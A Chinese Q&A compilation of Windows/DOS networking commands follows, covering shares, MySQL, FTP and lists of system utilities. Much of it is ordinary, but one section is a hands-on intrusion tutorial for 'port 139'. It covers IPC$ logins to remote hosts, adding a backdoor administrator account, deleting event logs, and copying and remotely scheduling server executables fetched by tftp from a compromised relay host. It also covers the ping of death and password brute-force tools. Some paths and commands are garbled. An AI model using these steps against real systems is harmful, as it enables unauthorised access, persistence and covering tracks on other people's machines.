dos連接伺服器

1、如何在DOS下訪問區域網中的伺服器

前提你必須知道伺服器的主機名或IP地址,然後在DOS下用
net view 伺服器名|IP地址，然後用版net use 盤符:
\\伺服器名|IP地址\共享權名 ,最後輸入盤符：回車即可。
eg:
1、net view win2000
aa
bb
cc(注意:aa、bb、cc為伺服器的共享資源)
2、net use k: \\win2000\aa
3、k: 回車
然後就可以像自已磁碟一樣訪問資源了！

共同學習，共同進步！

2、如何在Dos下 連接資料庫

1.桌面左下角windows圖標--搜索框內輸入cmd，結果如圖所示，點擊cmd.exe，或者使用快捷鍵Windows鍵（在鍵盤上有個Windows標志的按鍵）+R輸入cmd後回車。

2.啟動mysql資料庫：在出來的DOS命令窗口中輸入 net start mysql，或者使用快捷鍵Windows鍵（在鍵盤上有個Windows標志的按鍵）+ R直接輸入net start mysql後回車。（另附：關閉的命令為net stop mysql）

3.在DOS命令窗口輸入 mysql -hlocalhost -uroot -p回車 進入mysql資料庫，其中-h表示伺服器名，localhost表示本地；-u為資料庫用戶名，root是mysql默認用戶名；-p為密碼，如果設置了密碼，可直接在-p後鏈接輸入，如：-p123456，用戶沒有設置密碼，顯示Enter password時，直接回車即可。注意，如果你的mysql沒有安裝在C盤下，你需要先使用DOS命令進入mysql的安裝目錄下的bin目錄中。以我的電腦為例，方法如下：輸入D:進入D盤，在輸入cd D:ToolsMySQL5.5.25in進入到mysql的bin目錄下才可以輸入 mysql -hlocalhost -uroot -p

4.當顯示此界面時表示成功鏈接到了mysql資料庫

5.輸入show databases；顯示你有的資料庫（mysql資料庫中的命令必須以分號結尾「；」）

6.如果要退出mysql資料庫，輸入exit;回車

3、連接遠程伺服器dos命令是什麼，就是那個運行命令後就連主機IP的那個的？

運行遠程連接伺服器的命令為
mstsc
輸入後再按提示輸入IP地址帳號密碼即可

4、怎樣在本地主機用dos命令行連接到服務端的oracle資料庫並操作

如果安裝了 oracle 客戶端
使用 sqlplus 連接資料庫

5、怎樣用dos進入伺服器下載裡面的文件

ftp telnet.

6、在伺服器端如何用dos命令斷開一些連接到本機的IP？

1.最基本，最常用的，測試物理網路的
ping 192.168.10.88 － ，參數－t是等待用戶去中斷測試
2.查看DNS、IP、Mac等
A.Win98：winipcfg
B.Win2000以上：Ipconfig/all

C.NSLOOKUP：如查看河北的DNS
C:\>nslookup
Default Server: ns.hesjptt.net.cn
Address: 202.99.160.68
>server 202.99.41.2 則將DNS改為了41.2
> pop.pcpop.com
Server: ns.hesjptt.net.cn
Address: 202.99.160.68

Non-authoritative answer:
Name: pop.pcpop.com
Address: 202.99.160.212

3.網路信使
Net send 計算機名/IP|* (廣播) 傳送內容，注意不能跨網段
net stop messenger 停止信使服務，也可以在面板－服務修改
net start messenger 開始信使服務

4.探測對方對方計算機名，所在的組、域及當前用戶名
ping －a IP －t ，只顯示NetBios名
nbtstat -a 192.168.10.146 比較全的

5.netstat -a 顯示出你的計算機當前所開放的所有埠
netstat -s -e 比較詳細的顯示你的網路資料，包括TCP、UDP、ICMP 和 IP的統計等

6.探測arp綁定（動態和靜態）列表，顯示所有連接了我的計算機，顯示對方IP和MAC地址
arp -a

7.在代理伺服器端
捆綁IP和MAC地址，解決區域網內盜用IP：
ARP －s 192.168.10.59 00－50－ff－6c－08－75
解除網卡的IP與MAC地址的綁定：
arp -d 網卡IP

8.在網路鄰居上隱藏你的計算機
net config server /hidden:yes
net config server /hidden:no 則為開啟

9.幾個net命令
A.顯示當前工作組伺服器列表 net view，當不帶選項使用本命令時，它就會顯示當前域或網路上的計算機上的列表。
比如：查看這個IP上的共享資源，就可以
C:\>net view 192.168.10.8
在 192.168.10.8 的共享資源
資源共享名 類型 用途 注釋
--------------------------------------
網站服務 Disk
命令成功完成。

B.查看計算機上的用戶帳號列表 net user
C.查看網路鏈接 net use
例如：net use z: \\192.168.10.8\movie 將這個IP的movie共享目錄映射為本地的Z盤

D.記錄鏈接 net session
例如：
C:\>net session
計算機 用戶名 客戶類型 打開空閑時間
-------------------------------------------------------------------------------
\\192.168.10.110 ROME Windows 2000 2195 0 00:03:12

\\192.168.10.51 ROME Windows 2000 2195 0 00:00:39
命令成功完成。

10.路由跟蹤命令
A.tracert pop.pcpop.com
B.pathping pop.pcpop.com 除了顯示路由外，還提供325S的分析，計算丟失包的％

11.關於共享安全的幾個命令
A.查看你機器的共享資源 net share
B.手工刪除共享
net share c$ /d
net share d$ /d
net share ipc$ /d
net share admin$ /d
注意$後有空格。
C.增加一個共享：
c:\net share mymovie=e:\downloads\movie /users:1
mymovie 共享成功。
同時限制鏈接用戶數為1人。

12.在DOS行下設置靜態IP
A.設置靜態IP
CMD
netsh
netsh>int
interface>ip
interface ip>set add "本地鏈接" static IP地址 mask gateway
B.查看IP設置
interface ip>show address

sndrec32－－－－－－－錄音機

Nslookup－－－－－－－IP地址偵測器

explorer－－－－－－－打開資源管理器

logoff－－－－－－－－－注銷命令

tsshutdn－－－－－－－60秒倒計時關機命令

lusrmgr.msc－－－－本機用戶和組

services.msc－－－本地服務設置

oobe/msoobe /a－－－－檢查XP是否激活

notepad－－－－－－－－打開記事本

cleanmgr－－－－－－－**整理

net start messenger－－－－開始信使服務

compmgmt.msc－－－計算機管理

net stop messenger－－－－－停止信使服務

conf－－－－－－－－－－－啟動 netmeeting

dvdplay－－－－－－－－DVD播放器

charmap－－－－－－－－啟動字元映射表

diskmgmt.msc－－－磁碟管理實用程序

calc－－－－－－－－－－－啟動計算器

dfrg.msc－－－－－－－磁碟碎片整理程序

chkdsk.exe－－－－－Chkdsk磁碟檢查

devmgmt.msc－－－ 設備管理器

regsvr32 /u *.dll－－－－停止dll文件運行

drwtsn32－－－－－－ 系統醫生

rononce －p －－－－15秒關機

dxdiag－－－－－－－－－檢查DirectX信息

regedt32－－－－－－－注冊表編輯器

Msconfig.exe－－－系統配置實用程序

rsop.msc－－－－－－－組策略結果集

mem.exe－－－－－－－－顯示內存使用情況

regedit.exe－－－－注冊表

winchat－－－－－－－－XP自帶區域網聊天

progman－－－－－－－－程序管理器

winmsd－－－－－－－－－系統信息

perfmon.msc－－－－計算機性能監測程序

winver－－－－－－－－－檢查Windows版本

sfc /scannow－－－－－掃描錯誤並復原

taskmgr－－－－－任務管理器（2000／xp／2003）
wmimgmt.msc－－－－打開windows管理體系結構(WMI)
wupdmgr－－－－－－－－windows更新程序
w腳本－－－－－－－－windows腳本宿主設置
write－－－－－－－－－－寫字板
winmsd－－－－－－－－－系統信息
wiaacmgr－－－－－－－掃描儀和照相機向導
winchat－－－－－－－－XP自帶區域網聊天

mem.exe－－－－－－－－顯示內存使用情況
Msconfig.exe－－－系統配置實用程序
mplayer2－－－－－－－簡易widnows media player
mspaint－－－－－－－－畫圖板
mstsc－－－－－－－－－－遠程桌面連接
mplayer2－－－－－－－媒體播放機
magnify－－－－－－－－放大鏡實用程序
mmc－－－－－－－－－－－－打開控制台
mobsync－－－－－－－－同步命令

dxdiag－－－－－－－－－檢查DirectX信息
drwtsn32－－－－－－ 系統醫生
devmgmt.msc－－－ 設備管理器
dfrg.msc－－－－－－－磁碟碎片整理程序
diskmgmt.msc－－－磁碟管理實用程序
dcomcnfg－－－－－－－打開系統組件服務
ddeshare－－－－－－－打開DDE共享設置
dvdplay－－－－－－－－DVD播放器

net stop messenger－－－－－停止信使服務
net start messenger－－－－開始信使服務
notepad－－－－－－－－打開記事本
nslookup－－－－－－－網路管理的工具向導
ntbackup－－－－－－－系統備份和還原
narrator－－－－－－－屏幕「講述人」
ntmsmgr.msc－－－－移動存儲管理器
ntmsoprq.msc－－－移動存儲管理員*作請求
netstat －an－－－－(TC)命令檢查介面

syncapp－－－－－－－－創建一個公文包
sysedit－－－－－－－－系統配置編輯器
sigverif－－－－－－－文件簽名驗證程序
sndrec32－－－－－－－錄音機
shrpubw－－－－－－－－創建共享文件夾
secpol.msc－－－－－本地安全策略
syskey－－－－－－－－－系統加密，一旦加密就不能解開，保護windows xp系統的雙重密碼
services.msc－－－本地服務設置
Sndvol32－－－－－－－音量控製程序
sfc.exe－－－－－－－－系統文件檢查器
sfc /scannow－－－windows文件保護

tsshutdn－－－－－－－60秒倒計時關機命令
tourstart－－－－－－xp簡介（安裝完成後出現的漫遊xp程序）
taskmgr－－－－－－－－任務管理器

eventvwr－－－－－－－事件查看器
eudcedit－－－－－－－造字程序
explorer－－－－－－－打開資源管理器

packager－－－－－－－對象包裝程序
perfmon.msc－－－－計算機性能監測程序
progman－－－－－－－－程序管理器

regedit.exe－－－－注冊表
rsop.msc－－－－－－－組策略結果集
regedt32－－－－－－－注冊表編輯器
rononce －p －－－－15秒關機
regsvr32 /u *.dll－－－－停止dll文件運行
regsvr32 /u zipfldr.dll－－－－－－取消ZIP支持

cmd.exe－－－－－－－－CMD命令提示符
chkdsk.exe－－－－－Chkdsk磁碟檢查
certmgr.msc－－－－證書管理實用程序
calc－－－－－－－－－－－啟動計算器
charmap－－－－－－－－啟動字元映射表
cliconfg－－－－－－－SQL SERVER 客戶端網路實用程序
Clipbrd－－－－－－－－剪貼板查看器
conf－－－－－－－－－－－啟動netmeeting
compmgmt.msc－－－計算機管理
cleanmgr－－－－－－－**整理
ciadv.msc－－－－－－索引服務程序

osk－－－－－－－－－－－－打開屏幕鍵盤
odbcad32－－－－－－－ODBC數據源管理器
oobe/msoobe /a－－－－檢查XP是否激活
lusrmgr.msc－－－－本機用戶和組
logoff－－－－－－－－－注銷命令

iexpress－－－－－－－木馬捆綁工具，系統自帶

Nslookup－－－－－－－IP地址偵測器

fsmgmt.msc－－－－－共享文件夾管理器

utilman－－－－－－－－輔助工具管理器

gpedit.msc－－－－－組策略

7、如何通過dos 命令連接遠程主機，連接後怎麼控制

常用的DOS命令建立到遠程主機的連接
net use \\ip\ipc$ "password"
/user:"username"
建立新用戶
net user username password /add
修改用戶密碼
net
user username newpassword
激活用戶
net user username
/active:yes
把用戶加入到用戶組
net localgroup groupname username
/add
查看遠程主機的時間
net time \\ip
顯示遠程主機的共享資源列表
net view
\\ip
啟動和停止系統服務
net start(stop) servicename
映射對方的硬碟
net use z:
\\ip\c$
啟動程序
at \\ip time programnane
文件復制
copy filename
\\ip\c$\filename
遠程執行FTP命令
echo open servername > c:\ftp.txt
echo
username >> c:\ftp.txt
echo password >> c:\ftp.txt
echo get
filename c:\filename >> c:\ftp.txt
ftp -s:c:\ftp.txt
del
c:\ftp.txt
刪除日誌
del c:\winnt\system32\logfiles\*.*
del
c:\winnt\ssytem32\config\*.evt
del c:\winnt\system32\dtclog\*.*
del
c:\winnt\system32\*.log
del c:\winnt\system32\*.txt
del c:\winnt\*.txt

del c:\winnt\*.log
訪問對方共享資源
net use \\192.168.1.1\c$
/user:administrator "123"
如果提示連接成功,你在輸入
start \\192.168.1.1\c$

就打開目標機的C盤了
----------------------------------
net use \\ip\ipc$ " "
/user:" " 建立IPC空鏈接
net use \\ip\ipc$ "密碼" /user:"用戶名" 建立IPC非空鏈接
net use
h: \\ip\c$ "密碼" /user:"用戶名" 直接登陸後映射對方C：到本地為H:
net use h: \\ip\c$
登陸後映射對方C：到本地為H:
net use \\ip\ipc$ /del 刪除IPC鏈接
net use h: /del
刪除映射對方到本地的為H:的映射
net user 用戶名　密碼　/add 建立用戶
net user guest /active:yes
激活guest用戶
net user 查看有哪些用戶
net user 帳戶名 查看帳戶的屬性
net localgroup
administrators 用戶名 /add 把「用戶」添加到管理員中使其具有管理員許可權,注意：administrator後加s用復數
net
start 查看開啟了哪些服務
net start 服務名　 開啟服務；(如:net start telnet， net start schele)

net stop 服務名 停止某服務
net time \\目標ip 查看對方時間
net time \\目標ip /set
設置本地計算機時間與「目標IP」主機的時間同步,加上參數/yes可取消確認信息
net view 查看本地區域網內開啟了哪些共享
net
view \\ip 查看對方區域網內開啟了哪些共享
net config 顯示系統網路設置
net logoff 斷開連接的共享
net
pause 服務名 暫停某服務
net send ip "文本信息" 向對方發信息
net ver 區域網內正在使用的網路連接類型和信息

net share 查看本地開啟的共享
net share ipc$ 開啟ipc$共享
net share ipc$ /del
刪除ipc$共享
net share c$ /del 刪除C：共享
net user guest 12345
用guest用戶登陸後用將密碼改為12345
net password 密碼 更改系統登陸密碼
netstat -a
查看開啟了哪些埠,常用netstat -an
netstat -n 查看埠的網路連接情況，常用netstat -an
netstat -v
查看正在進行的工作
netstat -p 協議名 例：netstat -p tcq/ip 查看某協議使用情況（查看tcp/ip協議使用情況）

netstat -s 查看正在使用的所有協議使用情況
nbtstat -A ip
對方136到139其中一個埠開了的話，就可查看對方最近登陸的用戶名（03前的為用戶名）-注意：參數-A要大寫
tracert -參數
ip(或計算機名) 跟蹤路由（數據包），參數：「-w數字」用於設置超時間隔。
ping ip(或域名)
向對方主機發送默認大小為32位元組的數據，參數：「-l[空格]數據包大小」；「-n發送數據次數」；「-t」指一直ping。
ping -t -l
65550 ip 死亡之ping(發送大於64K的文件並一直ping就成了死亡之ping)
ipconfig (winipcfg) 用於windows
NT及XP(windows 95 98)查看本地ip地址，ipconfig可用參數「/all」顯示全部配置信息
tlist -t
以樹行列表顯示進程(為系統的附加工具，默認是沒有安裝的，在安裝目錄的Support/tools文件夾內)
kill -F 進程名
加-F參數後強制結束某進程(為系統的附加工具，默認是沒有安裝的，在安裝目錄的Support/tools文件夾內)
del -F 文件名
加-F參數後就可刪除只讀文件,/AR、/AH、/AS、/AA分別表示刪除只讀、隱藏、系統、存檔文件，/A-R、/A-H、/A-S、/A-A表示刪除除只讀、隱藏、系統、存檔以外的文件。例如「DEL/AR
*.*」表示刪除當前目錄下所有隻讀文件，「DEL/A-S *.*」表示刪除當前目錄下除系統文件以外的所有文件
#2 二：
del /S /Q 目錄
或用：rmdir /s /Q 目錄 /S刪除目錄及目錄下的所有子目錄和文件。同時使用參數/Q 可取消刪除操作時的系統確認就直接刪除。（二個命令作用相同）

move 盤符\路徑\要移動的文件名　存放移動文件的路徑\移動後文件名 移動文件,用參數/y將取消確認移動目錄存在相同文件的提示就直接覆蓋
fc
one.txt two.txt > 3st.txt 對比二個文件並把不同之處輸出到3st.txt文件中，"> "和"> >"
是重定向命令
at id號 開啟已注冊的某個計劃任務
at /delete 停止所有計劃任務，用參數/yes則不需要確認就直接停止
at
id號 /delete 停止某個已注冊的計劃任務
at 查看所有的計劃任務
at \\ip time 程序名(或一個命令) /r
在某時間運行對方某程序並重新啟動計算機
finger username @host 查看最近有哪些用戶登陸
telnet ip 埠
遠和登陸伺服器,默認埠為23
open ip 連接到IP（屬telnet登陸後的命令）
telnet 在本機上直接鍵入telnet
將進入本機的telnet
copy 路徑\文件名1　路徑\文件名2 /y
復制文件1到指定的目錄為文件2，用參數/y就同時取消確認你要改寫一份現存目錄文件
copy c:\srv.exe \\ip\admin$
復制本地c:\srv.exe到對方的admin下
cppy 1st.jpg/b+2st.txt/a 3st.jpg
將2st.txt的內容藏身到1st.jpg中生成3st.jpg新的文件，註：2st.txt文件頭要空三排，參數：/b指二進制文件，/a指ASCLL格式文件

copy \\ip\admin$\svv.exe c:\ 或:copy\\ip\admin$\*.*
復制對方admini$共享下的srv.exe文件（所有文件）至本地C：
xcopy 要復制的文件或目錄樹　目標地址\目錄名
復制文件和目錄樹，用參數/Y將不提示覆蓋相同文件
tftp -i 自己IP(用肉機作跳板時這用肉機IP) get server.exe
c:\server.exe 登陸後，將「IP」的server.exe下載到目標主機c:\server.exe
參數：-i指以二進制模式傳送，如傳送exe文件時用，如不加-i 則以ASCII模式（傳送文本文件模式）進行傳送
tftp -i 對方IP　put
c:\server.exe 登陸後，上傳本地c:\server.exe至主機
ftp ip 埠
用於上傳文件至伺服器或進行文件操作，默認埠為21。bin指用二進制方式傳送（可執行文件進）；默認為ASCII格式傳送(文本文件時)
route
print 顯示出IP路由，將主要顯示網路地址Network addres，子網掩碼Netmask，網關地址Gateway
addres，介面地址Interface
arp 查看和處理ARP緩存，ARP是名字解析的意思，負責把一個IP解析成一個物理性的MAC地址。arp
-a將顯示出全部信息
start 程序名或命令 /max 或/min 新開一個新窗口並最大化（最小化）運行某程序或命令
mem
查看cpu使用情況
attrib 文件名(目錄名) 查看某文件（目錄）的屬性
attrib 文件名 -A -R -S -H 或 +A +R +S
+H 去掉(添加)某文件的 存檔，只讀，系統，隱藏 屬性；用＋則是添加為某屬性
dir
查看文件，參數：/Q顯示文件及目錄屬系統哪個用戶，/T:C顯示文件創建時間，/T:A顯示文件上次被訪問時間，/T:W上次被修改時間
date /t 、
time /t 使用此參數即「DATE/T」、「TIME/T」將只顯示當前日期和時間，而不必輸入新日期和時間
set
指定環境變數名稱=要指派給變數的字元 設置環境變數
set 顯示當前所有的環境變數
set p(或其它字元)
顯示出當前以字元p(或其它字元)開頭的所有環境變數
pause 暫停批處理程序，並顯示出：請按任意鍵繼續....
if
在批處理程序中執行條件處理（更多說明見if命令及變數）
goto 標簽
將cmd.exe導向到批處理程序中帶標簽的行（標簽必須單獨一行，且以冒號打頭，例如：「：start」標簽）
call 路徑\批處理文件名
從批處理程序中調用另一個批處理程序 （更多說明見call /?）
for 對一組文件中的每一個文件執行某個特定命令（更多說明見for命令及變數）

echo on或off 打開或關閉echo，僅用echo不加參數則顯示當前echo設置
echo 信息 在屏幕上顯示出信息
echo
信息 >> pass.txt 將"信息"保存到pass.txt文件中
findstr "Hello" aa.txt
在aa.txt文件中尋找字元串hello
find 文件名 查找某文件
title 標題名字 更改CMD窗口標題名字
color 顏色值
設置cmd控制台前景和背景顏色；0＝黑、1＝藍、2＝綠、3＝淺綠、4＝紅、5＝紫、6＝黃、7=白、8=灰、9=淡藍、A＝淡綠、B=淡淺綠、C=淡紅、D=淡紫、E=淡黃、F=亮白

prompt 名稱 更改cmd.exe的顯示的命令提示符(把C:\、D:\統一改為：EntSky\ )
139埠入侵
net
命令是139埠入侵的重中之重，整個入侵過程會多次用到它。在命令行窗口下輸入net，可以看到有一大堆參數，別被這一大堆參數嚇懷了，現在我來為你一一講解。
net
use
net use
命令用於與遠程主機建立IPC$(管理)連接，當你有遠程計算機的用戶名(通常用戶名為administrator,記住它)和密碼時，在命令行窗口下輸入net
use\\IP\IPC$"password"/user:administrator，你就成功地建立了與遠程計算機的連接。在這之後，可以對其進行管理了。net
use 還有一個用處，即映射遠程機器的共享資源，輸入net use z: \\IP\C$
(注意！在此之後的一切命令都是基於第一個命令的，也就是說必須先建立IPC$連接後，這些命令才會成功)，打開「我的電腦」，你會發現多了一個Z盤，裡面全是遠程主機C盤下的東西，你在Z盤里刪除了一個文件，對方C盤下的這個文件就也被刪除了，所有對Z盤的操作其實就是對遠程計算機的C
盤的操作。怎麼樣，是不是很有意思呢？
net view
net view 用於查看遠程計算機有哪些共享資源，通常你會看到my
document之類的共享文件夾，輸入net view \\IP即可。我個人認為net view
沒有太大用處，要知道，在Windows2000中，各個硬碟都是共享的，但是如果你用net view 來查看，你會發現並無C,D,E
之類的共享資源。這是為什麼呢？注意，在這之前的一些命令中，我們曾輸入過IPC$,C$這樣的奇怪東西，其實，Windows2000中，帶"$"後綴的共享資源是隱藏的，在命令行窗口下是無法看到的，Windows2000中各個盤都是以諸如C$,D$,E$
這樣的名稱共享的，所以我們看不到，但確實存在，IPC$也是如此。
net share
net share 用於開放共享，輸入net
share QQ=c:\tencent，你會發現多了一個名為QQ的共享資源。這個命令有慎么作用呢？假設一個主機安全做的不錯，關閉了IPC$,C$,D$
等共享，那麼我們就無法在139埠上建立管理連接，也無法訪問對方的C盤，當我們通過別的手段進入後(如遠程溢出)，我們就可以用net share
開放IPC$，從而轉為熟悉的139埠的入侵，開放IPC$ 的命令為net share IPC$。相應的，如果你想關閉共享，你可以加上/del 後綴，例如net
share c$ /del 就關閉了C盤的共享。
net user
net user 命令用於管理主機上的用戶，僅輸入不帶任何參數的net
user 會列出計算機上所有的用戶名。現在就讓我們看看net user
命令是如何對用戶進行操作的。
　┎───────────────────────────────────────────────────────┒　
　┃
net user hacker 12345 /add 建立一個名為hacker，密碼為12345的用戶。　
┃
　┃ net user hacker /del
刪除名為hacker的用戶。　┃　
　┃ net user hacker
/active:no 禁用hacker這個用戶，這個用戶不能再登陸此計算機。　┃
　┃ net user hacker
/active:yes 激活已禁用的hacker這個用戶。 ┃　
┃ net localgroup
administrator hacker /add 把hacker這個用戶添加進管理員組，即提升hacker的許可權，使之變為管理員 ┃

┖───────────────────────────────────────────────────────┚
net start /
net stop
net start / net stop 命令用於起動/停止系統服務，通常我們會net stop w3svc
(停止網頁服務)，然後替換網頁，對此命令我不多講，知道即可。
　 *at 命令，net
time
之所以把它們放在一起來講，是因為at命令要用到net time命令的結果，一般我們先 net view
\\ip,得到遠程主機的時間(假設得到的時間為9:00)，然後at \\ip 9:00 telnet
就啟動了telnet服務，at這個命令就是用來遠程運行程序的.
(5)需要准備的工具
　肉雞獵手v1.0掃描一個網段，找出弱密碼的計算機
　SMBCrack
針對特定主機，暴力猜解密碼
　DameWare Mini Remote Control監控運程屏幕　
　CA.exe
克隆管理員賬號

8、在dos怎麼登陸FTP伺服器？

C:\Documents and Settings\yanzi>ftp xxx.xxx.xxx.xxx
Connected to xxx.xxx.xxx.xxx.
220 ready, de (vsFTPd 1.1.0: hi there, come here now!抄)
User (xxx.xxx.xxx.xxx:(none)):

之後襲登錄就好了 ...

9、如果用DOS操作FTP伺服器？

假設FTP地址為「 61.129.83.39」（大家試驗的時候不要以這個FTP去試，應該可能密碼要改掉。） 1：「開始」-「運行」-輸入「FTP」進去cmd界面 2.open 61.129.83.39 如果你的FTP伺服器不是用的21默認埠，假如埠是9900，那麼此步的命令應在後面空格加9900，即為 open 61.129.83.39 9900 3：它會提示輸入用戶名 username 4: 它會提示你輸入密碼：password注意密碼不顯示出來，打完密碼後回車即可。如果你的密碼輸入錯誤，將不會提示你重新輸入，這時你只要鍵入「user」命令，你就可以重新輸入用戶名和密碼。
5：成功登陸後就可以用dir查看命令查看FTP伺服器中的文件及目錄，用ls命令只可以查看文件。 6：使用cd 命令轉目錄,delete刪文件，用法跟DOS差不多。呵呵！！ 7：lcd d:\dianying 定位本地默認文件夾（本人理解這里的L是local當地英文的縮寫，很好理解和記憶） 8：下面就是上傳和下載文件的命令了，上傳用put 文件名.下載用get 文件名 當然下載到當前目錄了，就是上面定義的"d:\dianying"(看第七條) 9：最後就退出了
用bye命令。 當然FTP的命令還有很多，這里就不一一說了，需要的話大家你還可以用命令「？」查看更多的命令。其實這些都是DOS方面的知識，相信學過DOS的朋友看起來會輕松一點。附： 1. open：與ftp伺服器相連接；2. send(put)：上傳文件；3. get：下載文件；4. mget：下載多個文件；5. cd：切換目錄；6. dir：查看當前目錄下的文件；7. del：刪除文件；8. bye：中斷與伺服器的連接。-v 顯示遠程伺服器的所有響應信息；-n 限制ftp的自動登錄，即不使用；.n etrc文件；-d 使用調試方式；-g 取消全局文件名。FTP使用的內部命令如下(中括弧表示可選項):1.![cmd[args>：在本地機中執行交互shell，exit回到ftp環境，如：!ls*.zip2.$ macro-ame[args]：執行宏定義macro-name。3.account[password]：提供登錄遠程系統成功後訪問系統資源所需的補充口令。4.append local-file[remote-file]：將本地文件追加到遠程系統主機，若未指定遠程系統文件名，則使用本地文件名。5.ascii：使用ascii類型傳輸方式。6.bell：每個命令執行完畢後計算機響鈴一次。7.bin：使用二進制文件傳輸方式。8.bye：退出ftp會話過程。9.case：在使用mget時，將遠程主機文件名中的大寫轉為小寫字母。10.cd remote-dir：進入遠程主機目錄。11.cp：進入遠程主機目錄的父目錄。12.chmod mode file-name：將遠程主機文件file-name的存取方式設置為mode，如：chmod 777 a.out。13.close：中斷與遠程伺服器的ftp會話(與open對應)。14.cr：使用asscii方式傳輸文件時，將回車換行轉換為回行。15.delete remote-file：刪除遠程主機文件。16.debug[debug-value]：設置調試方式，顯示發送至遠程主機的每條命令，如：deb up 3，若設為0，表示取消debug。17.dir[remote-dir][local-file]：顯示遠程主機目錄，並將結果存入本地文件18.disconnection：同close。19.form format：將文件傳輸方式設置為format，預設為file方式。20.get remote-file[local-file]：將遠程主機的文件remote-file傳至本地硬碟的local-file。21.glob：設置mdelete，mget，mput的文件名擴展，預設時不擴展文件名，同命令行的-g參數。22.hash：每傳輸1024位元組，顯示一個hash符號(#)。23.help[cmd]：顯示ftp內部命令cmd的幫助信息，如：help get。24.idle[seconds]：將遠程伺服器的休眠計時器設為[seconds]秒。25.image：設置二進制傳輸方式(同binary)。26.lcd[dir]：將本地工作目錄切換至dir。27.ls[remote-dir][local-file]：顯示遠程目錄remote-dir，並存入本地文件local-file。28.macdef macro-name：定義一個宏，遇到macdef下的空行時，宏定義結束。29.mdelete[remote-file]：刪除遠程主機文件。30.mdir remote-files local-file：與dir類似，但可指定多個遠程文件，如 ：mdir *.o.*.zipoutfile 。31.mget remote-files：傳輸多個遠程文件。32.mkdir dir-name：在遠程主機中建一目錄。33.mls remote-file local-file：同nlist，但可指定多個文件名。34.mode[modename]：將文件傳輸方式設置為modename，預設為stream方式。35.modtime file-name：顯示遠程主機文件的最後修改時間。36.mput local-file：將多個文件傳輸至遠程主機。37.newer file-name：如果遠程機中file-name的修改時間比本地硬碟同名文件的時間更近，則重傳該文件。38.nlist[remote-dir][local-file]：顯示遠程主機目錄的文件清單，並存入本地硬碟的local-file。39.nmap[inpattern outpattern]：設置文件名映射機制， 使得文件傳輸時，文件中的某些字元相互轉換， 如：nmap $1.$2.$3[$1，$2].[$2，$3]，則傳輸文件a1.a2.a3時，文件名變為a1，a2。該命令特別適用於遠程主機為非UNIX機的情況。40.ntrans[inchars[outchars>：設置文件名字元的翻譯機制，如ntrans1R，則文件名LLL將變為RRR。41.open host[port]：建立指定ftp伺服器連接，可指定連接埠。42.passive：進入被動傳輸方式。43.prompt：設置多個文件傳輸時的交互提示。44.proxy ftp-cmd：在次要控制連接中，執行一條ftp命令，該命令允許連接兩個ftp伺服器，以在兩個伺服器間傳輸文件。第一條ftp命令必須為open，以首先建立兩個伺服器間的連接。45.put local-file[remote-file]：將本地文件local-file傳送至遠程主機。46.pwd：顯示遠程主機的當前工作目錄。47.quit：同bye，退出ftp會話。48.quote arg1，arg2...：將參數逐字發至遠程ftp伺服器，如：quote syst.49.recv remote-file[local-file]：同get。50.reget remote-file[local-file]：類似於get， 但若local-file存在，則從上次傳輸中斷處續傳。51.rhelp[cmd-name]：請求獲得遠程主機的幫助。52.rstatus[file-name]：若未指定文件名，則顯示遠程主機的狀態， 否則顯示文件狀態。53.rename[from][to]：更改遠程主機文件名。54.reset：清除回答隊列。55.restart marker：從指定的標志marker處，重新開始get或put，如：restart 130。56.rmdir dir-name：刪除遠程主機目錄。57.runique：設置文件名只一性存儲，若文件存在，則在原文件後加後綴.1， .2等。58.send local-file[remote-file]：同put。59.sendport：設置PORT命令的使用。60.site arg1，arg2...：將參數作為SITE命令逐字發送至遠程ftp主機。61.size file-name：顯示遠程主機文件大小，如：site idle 7200。62.status：顯示當前ftp狀態。63.struct[struct-name]：將文件傳輸結構設置為struct-name， 預設時使用stream結構。64.sunique：將遠程主機文件名存儲設置為只一(與runique對應)。65.system：顯示遠程主機的操作系統類型。66.tenex：將文件傳輸類型設置為TENEX機的所需的類型。67.tick：設置傳輸時的位元組計數器。68.trace：設置包跟蹤。69.type[type-name]：設置文件傳輸類型為type-name，預設為ascii，如:type binary，設置二進制傳輸方式。70.umask[newmask]：將遠程伺服器的預設umask設置為newmask，如：umask 371.user user-name[password][account]：向遠程主機表明自己的身份，需要口令時，必須輸入口令，如：user anonymous my@email。72.verbose：同命令行的-v參數，即設置詳盡報告方式，ftp 伺服器的所有響 應都將顯示給用戶，預設為on.73.?[cmd]：同help. PASV 模式由 SERVER Listen
PORT 模式由 CLIENT Listen由此可知 如果要 Listen , 又 Listen 在內部IP Addr. 自然沒人連的上你了因此 NAT 內 SERVER 除非有 NAT之PORT FORWARDING 否則 PASV 無法運行因此 NAT 內 CLIENT 不可用 PORT 模式 , 必須使用 PASV 模式否則無法 DIR , 傳檔

10、在主機DOS命令行下使用FTP指令連接目標主機上的FTP伺服器

ftp IP地址:port 可以連接主機的FTP伺服器 或者是 open IP地址:port